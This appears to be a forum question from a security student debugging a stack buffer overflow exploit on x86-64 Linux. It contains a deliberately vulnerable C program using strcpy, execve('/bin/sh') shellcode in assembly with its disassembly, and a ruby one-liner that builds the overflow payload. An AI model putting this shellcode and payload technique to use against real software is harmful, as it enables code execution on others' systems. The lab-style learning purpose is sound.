16
I’m studying information security and doing experiments trying to exploit a classic case of buffer overflow.
I succeeded in creating the shellcode, in its injection into the code and its execution, the problem is that a syscall for an execve() within the shellcode simply does not succeed.
In detail:
This is the vulnerable program code (it was compiled on Ubuntu 15.04 x86-64, with gcc flags: "-fno-stack-protector -z execstack -g" and ASLR turned off):
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int do_bof(char *exploit) {
char buf[128];
strcpy(buf, exploit);
return 1;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
puts("Usage: bof <any>");
return 0;
}
do_bof(argv[1]);
puts("Failed to exploit.");
return 0;
}
This is a small Assembly program that runs a shell with an execve() system call and then ends with an Exit().Note that this code works independently. This is: If compiled and linked independently, it works smoothly.
global _start
section .text
_start:
jmp short push_shell
starter:
pop rdi
mov al, 59
xor rsi, rsi
xor rdx, rdx
xor rcx, rcx
syscall
xor al, al
mov BYTE [rdi], al
mov al, 60
syscall
push_shell:
call starter
shell:
db "/bin/sh"
This is the exit of a objdump -d -m intel with the binary of the above code, which is where I extracted the shellcode:
spawn_shell.o: formato do arquivo elf64-x86-64
Desmontagem da seção .text:
0000000000000000 <_start>:
0: eb 16 jmp 18 <push_shell>
0000000000000002 <starter>:
2: 5f pop rdi
3: b0 3b mov al,0x3b
5: 48 31 f6 xor rsi,rsi
8: 48 31 d2 xor rdx,rdx
b: 48 31 c9 xor rcx,rcx
e: 0f 05 syscall
10: 30 c0 xor al,al
12: 88 07 mov BYTE PTR [rdi],al
14: b0 3c mov al,0x3c
16: 0f 05 syscall
0000000000000018 <push_shell>:
18: e8 e5 ff ff ff call 2 <starter>
000000000000001d <shell>:
1d: 2f (bad)
1e: 62 (bad)
1f: 69 .byte 0x69
20: 6e outs dx,BYTE PTR ds:[rsi]
21: 2f (bad)
22: 73 68 jae 8c <shell+0x6f>
This command would be the payload proper: The one that injects the shellcode into the program along with the return address that will override the original return address:
ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'
To date, I have already debugged my vulnerable program with the carefully injected shellcode, observing the increment of the RIP logger, observing the content of what it points to and checking this content with the opcodes of my shellcode, found the following:
- The return address is overwritten by provided by me on the payload correctly and the execution jumps to my shellcode.
- The execution usually happens until the "16:" of the Assembly code above, where the system call happens.
- The system call simply does not happen, even with all the registers correctly configured for the system call. Strangely, after the system call, the RAX and RCX registers get all set bits.
The result is that since the system call didn’t happen, the jump code snippet runs again, which makes the execution jump to the beginning of my shellcode (skipping all Nops), which makes it keep putting the address of "/bin/sh" on the stack continuously until the program crashes and ends in SEGFAULT.
In short, the main problem is this: The syscall within my shellcode does not run and the exploit does not work, but the syscall within a program in Assembly independently works smoothly.
Some other notes:
Some would say I have to finish my string with a null byte. But it seems that this is not necessary since my program in Assembly gets a shell even without finishing the string. And I already tried another payload on my vulnerable program with a simple Exit() and the same happens.
Remember that this is a vulnerable program compiled for AMD64.
What’s wrong with my shellcode?